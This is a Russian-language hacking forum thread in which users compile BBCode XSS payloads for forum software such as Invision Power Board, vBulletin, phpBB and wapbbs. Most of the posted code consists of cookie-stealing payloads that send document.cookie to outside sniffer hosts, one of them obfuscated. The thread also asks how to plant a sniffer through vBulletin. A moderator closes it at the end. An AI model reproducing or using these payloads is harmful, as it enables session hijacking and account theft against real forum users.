Парни давайте в одной теме собирем все виды xss а то я (лично) запарился бегать по всему форуму и искать для нужного форума определенный xss я начну XSS: IPB: Code: [color=[img]http://000.aa/=`image.jpg[/img]]`style=background:url(javascript:document.images[12].src="[url]http://style-life.biz/onelinetoolz/sn/me.jpg?"+document.cookie[/url])[/color]
IPB 2.1.1: Code: [post=1000[topic=wj style=background&*#58;url(javascript*:document.image*s	*1;&#*49;].*src=*"*h*;*6;*16;&*#112*;*8;&#*47;&#*47;&#*97;&#*110;*t*;*05;&#*99;&*#104;*a**6;&#*46;&#*114;&*#117*;*7;	*9;*03;&*#105;*-*;b*;
*5;*10;&*#47;s.j&*#112;g?"+document.cookie); ] [/topic]] [/post]
VB 3.0.7: Code: [HTML][URL=http://www.wj.com[url]http://www.wj.com]wj [FONT=Arial size=+7 onmouseover=alert(/Hello_from_WJ/) /]wj[/FONT][/url][/URL] p.s. как надо правильно изменять данные для VB 3.0.7 чтобы внедрить снифер, а то у меня не выходит?
phpbb 2.0.17: Code: [img]http://www.phpbb.com/wj[email][email protected][/email]images/phplogo.gif[/img]
wapbbs: Code: [url]http://www.wj.com[img]http://www.wapbbs.com/bbs//images/statusicon/forum_new.gif'='[/img][/url]'
IPB 2.1.3: Code: [email=wj@wj[url=http://www.wj.com`=`].com">wj@wj<a href="http://www.wj.com`=`" target="_blank">[/email].com[/url] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
я говорю запарился искать, а так хотябы все сразу видно. это будет проще чем лазить, тем более поиск тоже не всегда помогает
RetRon Тебе заняться нечем? Уже есть две стационарные темы по Уязвимостям IPB и PHPBB! Зачем опять начинать? Не тупи! Эксплойты для PHPBB Эксплойты для IPB ПОИСКОМ ПОЛЬЗОВАТЬСЯ НЕ УМЕЕШЬ ИМХО!!!
Прально чел делает, а то в статьях джордана хер сломаешь прежде чем нужный хсс найдешь (Имхо дохера у него инфы)...
Давайте так: Сначала собираем, потом выкладываем. Если кому-то хочется создать такую тему - пожалуйста. Действительно стоящая тема будет закреплена и закрыта, а так, на данный момент это флудильня. ЗЫ. И без вот-этого: "p.s. как надо правильно изменять данные для VB 3.0.7 чтобы внедрить снифер, а то у меня не выходит?" Не знаем - не пишем. Закрыто до лучших времён.
